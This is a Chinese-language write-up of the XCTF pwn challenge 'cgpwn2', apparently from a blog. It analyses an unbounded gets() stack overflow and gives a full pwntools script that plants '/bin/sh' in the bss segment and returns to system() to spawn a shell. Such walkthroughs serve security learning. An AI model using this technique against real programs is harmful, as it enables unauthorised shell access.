攻防世界 Pwn cgpwn2
1.题目下载地址
2.checksec分析

只开启了NX保护,应该不会有太多障碍
直接进IDA看一下
3.IDA分析
main函数中有一个hello函数,我们直接看hello函数

- 可以看到第二个gets函数没有限制输入大小,很明显是栈溢出
- 再看看有没有其他后门函数

看到有一个pwn函数中调用了system

而且第一个gets函数输入的name正好是处于bss段
那么我们可以写命令到name
然后找到这个地址,利用简单ROP
3.1.看一下溢出大小
老规矩还是cyclic

然后找到sys地址

接下来就是构造payload了
4.exp
from pwn import *
r = process('./cgpwn2')
#r = remote('111.198.29.45',51186)
target = 0x804855A
binsh = 0x804A080
payload = 'a' * 42 + p32(target) + p32(binsh)
a = r.recvuntil('e\n')
r.sendline('/bin/sh')
a = r.recvuntil(':\n')
r.sendline(payload)
r.interactive()
4.1.运行结果

可以看到已经顺利拿到本机权限了
1247

被折叠的 条评论
为什么被折叠?



